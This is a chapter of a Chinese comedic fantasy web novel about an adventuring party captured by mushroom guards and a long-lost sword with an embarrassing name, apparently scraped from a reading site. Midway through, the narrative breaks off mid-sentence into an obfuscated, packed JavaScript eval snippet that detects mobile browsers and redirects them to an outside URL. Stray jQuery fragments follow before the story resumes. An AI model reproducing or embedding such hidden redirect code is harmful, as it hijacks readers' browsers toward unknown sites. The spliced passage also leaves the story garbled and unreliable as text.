29. 蘑菇蘑菇(四)

“喂!你们这些丑八怪!赶快放我下来!该死,你还在笑什么啊!塔尔玛,赶紧想想办法啊!还有你!小矮子!别只看着啊!行动起来啊!”


是泽菲罗斯在说话。


在泽菲罗斯的面前,有一群蘑菇人守卫正在缓缓离去,他被这群蘑菇人倒挂在了树上,正大喊大叫着,略微中性的声音喊到最后都破音了。


原本,泽菲罗斯数落完漆黑给碗上魔纹的深沉心机之举之后,他准备和大家一起寻找迟迟未归的那两个人,他们从地下深处去往更深处后,泽菲罗斯被一群忽然冒出来的蘑菇人守卫抓住了,然后就变成了现在这种场景。


他是高个子大骨架,身体被植株和菌类紧紧覆着倒挂在树上,再加上他蓬松的紫色长卷毛,从远处看,倒还真像是地下王国里生长的一朵胖胖的紫色巨型蘑菇,很有分量的那种。


漆黑和塔尔玛就站在泽菲罗斯倒挂的那棵树旁边,漆黑时不时看向狂笑的塔尔玛,时不时又看向怒瞪着她的泽菲罗斯,审时度势后,她顶着老实的表情朝泽菲罗斯伸出手,竖起了大拇指。


泽菲罗斯:“……”


泽菲罗斯在树上剧烈摇晃起来:“不是这种行动啊!有没有搞错!你到底会不会看人脸色啊?!”


即使是狼狈到被倒挂着的泽菲罗斯瞪人也很好看,别有一番风情。


泽菲罗斯的眼睛很大,唇彩颜色很润泽,皮肤很白皙,贵族华服上有着闪闪的装饰,一看就是高档货的高跟长靴,身上还挂着一把相当惹眼的、剑柄边缘有着一圈粉色绒毛边的佩剑。


“这下好了,那两个家伙还没找到,你先困在这里了,”塔尔玛的身体疯狂抖动着,他擦了擦因为狂笑而溢出的眼泪:


“没办法啊,我们要是拦住他们,也会被当成敌人受牵连的诶,你就忍忍吧,不过就挂半天的事。”


“只要半天我就可以从树上下来了?”


“只要半天你就可以成为树养分的一部分了。”


“………………”


泽菲罗斯气得骂起了塔尔玛,骂他面善心黑,本以为他单单只有圣母病这个毛病,没想到深入接触下来他的性格还这么恶趣味。


他还骂起了漆黑,看着个子小小,面嫩怕生,结果也是个无敌邪恶喜欢旁观他人不幸的家伙。


“你们也没忍住碰了那些小蘑菇人了吧,”倒挂着的泽菲罗斯忿忿道:“为什么你们就没被惩罚?这不公平!”


“唔,遇事不要从别人身上找原因,多找找自己的原因,有可能碰不碰小蘑菇人和被蘑菇人守卫惩罚无关,”塔尔玛严肃地说:


“先从蘑菇的天敌来分析吧,比如你其实不是血鬼,你的原型其实是一只虫子?老实交代,你的本体是何物啊?是线虫、蝇虫还是真菌病菌?”


泽菲罗斯:“……”


泽菲罗斯一边在树上摇晃一边对塔尔玛大声辱骂。


泽菲罗斯骂得越起劲,塔尔玛笑得越慈祥深沉。


泽菲罗斯倒挂的这棵树在地下的一处悬崖边,他疯狂摇晃的时候,身上覆盖着他的菌类跟着时不时掉下来了一些。


注意到这一点的塔尔玛的脸色微变:“等等,泽菲罗斯,你先别动,有点不对劲。”


“我凭什么要听——啊——”


下一秒,覆在泽菲罗斯身上和树连接着的菌类几乎全掉了,身体失去了植株和菌类束缚的他一下子掉下了悬崖底下的深坑。


“泽菲罗斯?!”


“泽菲罗斯——”


塔尔玛立刻从悬崖边缘向下望,悬崖底下黑黢黢的一片,很深的样子。


塔尔玛在剑上镀了一层发光的魔法,再镀了一层防护魔法,他持剑划着从悬崖上向下落,漆黑因为是精灵的缘故身形轻灵,她手持匕首踩着边缘凸起的石头同样向下而去。


下面给人感觉凉飕飕的,一直向下总感觉望不到底。


越向下塔尔玛的心越焦急。


直到他快要接近最底下时看到了紫色的光芒,他这才放下心来。


泽菲罗斯就被罩在这片紫色的光芒之中,不过是坐着的。


“呼,你真是吓死我了,还好你带了不少防护作用的魔法水晶在身上,下次在这方面给你们多分配点经费吧。”


塔尔玛终于踩到了最底部,心有余悸地看着泽菲罗斯,漆黑也踩到了底部,就在塔尔玛身后盯着泽菲罗斯看。


“哼,你们还算有点良心,跟下来了,”泽菲罗斯表情略微有些痛苦:“不过我觉得我腿在我掉下来的时候碰到什么了,现在有点起不来了。”


漆黑见状,凑过去向泽菲罗斯施展治愈术,但悬崖的底部有不少紫色的魔晶,它们阻抑了治愈术的发挥。


漆黑:“在地下,治愈术好像无法发挥它的最大作用。”


塔尔玛有些愧疚地试图扶起他。


“疼疼疼疼疼!你先别扶我,我的佩剑找不着了,”泽菲罗斯说:“这里这么暗,快帮我找找啊!”


漆黑和塔尔玛找尽了周围,还是没有找到泽菲罗斯的那把非常显眼的、毛绒绒的佩剑。


对泽菲罗斯来说,这把佩剑一定很重要,两人怀着愧疚之情帮他找了很久,却仍然一无所获。


“算了,”泽菲罗斯叹气:“找不到就算了。”


“那把佩剑一看就很贵的样子,”漆黑叹气道:“把我卖了也赔不起。”


泽菲罗斯重重弹了弹漆黑的脑袋:“才不要你这个穷鬼赔!啊啊啊还说呢,都怪你们当时在那里看我笑话。”


塔尔玛不信邪,在这里找了很久。


泽菲罗斯抬了抬下巴,他慢条斯理地说:“算了,我也懒得折腾了。”


“可是那把剑不是有名的大师之作么,它被你的父亲赋名,又被你的父亲亲手赠予给你,是你成长的重要见证,”塔尔玛忧虑地说:


“对于一位剑士来说,怎么可以丢了他的佩剑?”


不知为何,泽菲罗斯嘴角微微抽搐:“这种剑我爸送了我几百把,这把丢了我倒是没什么感觉。”


“……”


“可你经常带着他冒险。”


“那是因为,”泽菲罗斯幽幽地说:“这把佩剑和我的衣服比较百搭,装饰品嘛,你什么时候看我把这把剑拔出来了?你都没见过它拉开剑鞘后的样子。”


“……”


寻觅没有结果,这把佩剑就这样丢失在了地下深处,一直到这场小队冒险旅行的终途,也没有踪迹。


不过,离开地下后,塔尔玛倒是跟泽菲罗斯提起过:


“说起来,你记不记得上次我们在地下探险时你掉的那把剑?”


泽菲罗斯表情惊恐:“你找到了?”


“你那是什么表情啊,没有找到,我只是忽然想起来,你好像从没有告诉我那把佩剑的名字,那把剑叫什么啊?我们可以把失物的名字公示一下,说不定以后有冒险者人捡着了还给你呢?”


泽菲罗斯似乎想到了什么,脸色非常难看:“公示什么呀?我不要公示!过去的事情就让它过去吧!”


泽菲罗斯死活不肯告诉塔尔玛这把剑的名字,塔尔玛也没办法,此事就此作罢了。


“卢娜小姐,醒一醒。”


漆黑睁眼,看到纪尔略带困扰地说:“你睡着了。”


他们的小队仍然在地下,艾达拉和欧文仍然被菌类裹得严严实实地倒挂在一颗五彩斑斓的树上,这棵树也是在悬崖边。


原来看泽菲罗斯被倒挂在树上、帮泽菲罗斯找佩剑,不过是一个梦。


那一定是曾经在漆黑身上真实发生过的事。


梦中那棵倒挂人的树和现在的这棵看上去有点不太一样,非要说的话,变得巨大而茂盛,好像并不会把挂在树上的人吸收成养分。


等等,覆盖这两人的菌类和植株看上去同样有点脆弱,漆黑欲言又止。


艾达拉和欧文似乎开始吵架了,两个人在树上摇晃着


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15416137|166809||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(


相撞起来。


“都怪你!干嘛非要碰那个奇怪的蘑菇!我都说了它给人感觉怪毛骨悚然的,一定是个很小心眼的蘑菇人,肯定是它记恨我们告的状。”


“是我要碰的吗?明明你也很感兴趣才叫我去碰的吧!你可真无理取闹。”


“哈?我无理取闹?!是不是我无理取闹你自己清楚!”


两个人互撞得有些疯狂。


“别晃了!”发觉异常的纪尔立刻厉声呵斥。


漆黑则冲过去阻拦他们。


下一秒,束缚他们的植株断了,覆盖他们的菌类掉了。


“啊啊啊啊啊啊啊嗷——”


“啊啊啊啊啊啊啊啊啊啊啊啊救命!!”


才掉下去一截,艾达拉就“吭哧吭哧”费劲地使用飞行术费力地抓着欧文的胳膊缓慢飞上来了,两人在空中的姿势和表情都异常搞笑。


纪尔和漆黑刚长吁一口气,就眼睁睁地看着艾达拉抓着欧文刚刚飞起来,又沉下去了。


“都怪你太重了啊啊啊啊啊啊啊!!”


“没见过有人使用飞行术魔法因为体重问题飞不起来的是你学艺不精啊啊啊啊!!!”


纪尔:“……”


漆黑:“……”


纪尔和漆黑从悬崖边同样下到底部去了。


到最底部时,纪尔和漆黑发现这两人正在吵架。


看来还能吵架,应该是安然无恙。


漆黑总觉得这地方有点眼熟。


纪尔注意到悬崖底部有许多紫色魔晶,他拿起来观察了一下。


“应该是这种紫色魔晶影响了飞行术的发挥,”纪尔说:


“这种魔晶对部分魔法有干扰作用,说起来,在有关蘑菇人的记载中,它们对这种紫色魔晶尤为忌惮,因为这种在地下生长的紫色魔晶会吞噬靠近它的蘑菇人,也算是蘑菇人的天敌之一。”


欧文看了看艾达拉身上紫色的头发和艳紫色的外套:“有没有可能是因为他穿得太紫所以被挂起来的啊?不过挂他就好了,为什么要带上我啊。”


纪尔笑了:“谁知道呢,也许它们只是看你也比较不顺眼。”


欧文:“……”


艾达拉:“蘑菇应该没有辨识色彩的能力吧?”


漆黑:“蘑菇人有。”


“好吧,”艾达拉脱了他那件醒目的紫色外套:“我等会出去再遮住我的头——啊!”


艾达拉踩到什么滑了一跤,在昏暗的光线中,三人立马看不见艾达拉了。


“艾达拉?”


“艾达拉?!”


“我在这里。”


声音就在附近。


摸索了一阵子,原来这附近还有一个很长很宽很隐蔽的缝隙,感觉只能掉进去小个子,艾达拉就是掉进了这个缝隙里。


纪尔说:“你就这样别动,我马上拉你上来。”


艾达拉说:“等等,我好像摸到了什么,怎么摸到了什么绒毛,啊,沉甸甸的,这里居然有把佩剑!好重。”


漆黑一怔。


艾达拉似乎在这个缝隙里玩起了寻找宝藏的游戏。


纪尔把他拉上来的时候,艾达拉也带上了那把佩剑。


“让我拉开剑鞘试试,啊,剑本身没锈多少,反面好像还用古通用语刻了这把剑的名字诶!我要把它带回去!”艾达拉开心地摸了摸生锈的佩剑,这把佩剑的粉色绒毛快要掉光了。


艾达拉:“哎呀,看上去有些年头了,感觉是旧史的遗留了。”


欧文:“真不可思议,都这么久了。”


纪尔:“毕竟是在地下,如果是在地上,很难留存这么久。”


漆黑沉默片刻,忽然问:“这把剑叫什么名字?”


“让我仔细看看,上面写的名字叫——粉——红——毛——毛——兔。”


“什、什么?”


“我说这把佩剑的名字叫粉红毛毛兔。”


“……”